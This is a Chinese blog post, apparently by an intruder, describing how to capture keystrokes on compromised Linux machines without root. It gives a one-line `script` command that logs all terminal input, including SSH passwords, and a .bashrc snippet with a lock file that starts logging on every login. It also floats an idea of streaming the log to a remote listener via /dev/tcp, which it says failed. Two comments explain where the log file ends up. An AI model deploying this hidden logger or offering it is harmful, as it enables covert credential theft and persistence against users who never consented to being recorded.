低权 Linux 键盘记录方案

请注意,本文编写于 1051 天前,最后修改于 864 天前,其中某些信息可能已经过时。

前言

日了几台机器,虽说部分机器有ROOT,可以直接用之前的 一般路过PAM后门 / SSH密码记录,来替换PAM,用于记录密码。

然而问题是,这货上了LDAP,还自己改了改他们的PAM,所以直接替换PAM的方案行不通了。

而且有一个跳板机,我们没有低权限,但是当前用户却会用这台机器连接其他目标,使用的都是一些我们没找到的凭据。

那么有没有什么办法能搞到他们呢?

最开始预想的是用go,自己写一个,直接起个pty直接io.copy用户输入和bash,然后我们监听目标输入就行。

之后在群里大佬的提拔下。知道了还有script这个好东西。

直接一句

exec script -B /tmp -aqf

没有-B参数把-B参数删了其实也没差

photo_2021-12-14_21-37-37.jpg
photo_2021-12-14_21-37-37.jpg

经过测试,SSH输入的密码也能记录。简直就是linux自带后门

然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc下的最后一行,发现并不能work。
了解了下才发现,这个语句会加载bashrc的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc运行script,script加载bashrc,bashrc加载script这样循环....

解决方案也很简单。直接在最后一行换成

if [ -f /tmp/script.lock ];then
        rm /tmp/script.lock
else
        echo lock > /tmp/script.lock
        exec script -B /tmp/test -aqf
fi

这样就成啦

进阶

本来想着这个-B参数能不能用类似/dev/tcp这种文件符号直接发送到远端,这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。
或者加一个远端连不上就自动删除.bashrc的这行类似代码。。然而实际上并不行。。。于是乎就靠各位大佬们解决啦。

添加新评论

已有 2 条评论

大佬没看懂 输入exec script -B /tmp -aqf 之后怎么查看结果呢

⑨BIE ⑨BIE 回复 @6666

是exec script -B /tmp/aaa -aqf
这样结果就保存到了/tmp/aaa下了